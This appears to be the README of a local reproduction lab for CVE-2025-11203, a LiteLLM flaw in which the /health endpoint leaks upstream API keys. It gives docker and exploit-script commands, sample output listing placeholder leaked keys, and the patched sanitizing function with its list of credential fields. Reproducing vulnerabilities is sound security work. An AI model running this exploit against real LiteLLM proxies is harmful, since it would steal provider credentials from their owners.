# 1. Start vulnerable LiteLLM
docker compose up -d

# 2. Install dependencies
pip install -r requirements.txt

# 3. Run exploit script
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key

# 4. View full response
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose

# 5. (Optional) Verify fixed version
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed

======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
 Target     : http://localhost:4000
 API Key    : sk-litellm-master-key...
 Endpoint   : /health

[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
    HTTP 200 — OK

[*] Step 2: Scanning for leaked credentials...

[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!

    Path  : unhealthy_endpoints[0].api_key
    Field : api_key
    Value : sk-this-is-a-leaked-openai-key...cdef123456  (len=43)

    Path  : unhealthy_endpoints[1].api_key
    Field : api_key
    Value : sk-another-leaked-key-789012xy...-789012xyz  (len=31)

    Path  : unhealthy_endpoints[2].api_key
    Field : api_key
    Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx  (len=33)

 Models checked: 3
 Credentials leaked: 3
 [🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!

======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
    No API keys found in response.
    [+] Expected: keys sanitized by _clean_endpoint_data()

ILLEGAL_DISPLAY_PARAMS = [
    "messages",
    "api_key",
    "prompt",
    "input",
    "vertex_credentials",
    "aws_access_key_id",
    "aws_secret_access_key",
]

def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
    return (
        {k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
        if details is not False
        else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
    )

CVE-2025-11203/
├── README.md                    # This file
├── docker-compose.yml           # Vulnerable + fixed LiteLLM
├── litellm_config.yaml          # Config with 3 models + API keys
├── requirements.txt             # Python dependencies
├── litellm-vuln/
│   └── Dockerfile               # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│   └── exploit.py               # Main exploit script
├── docs/
│   └── advisory.md
└── screenshots/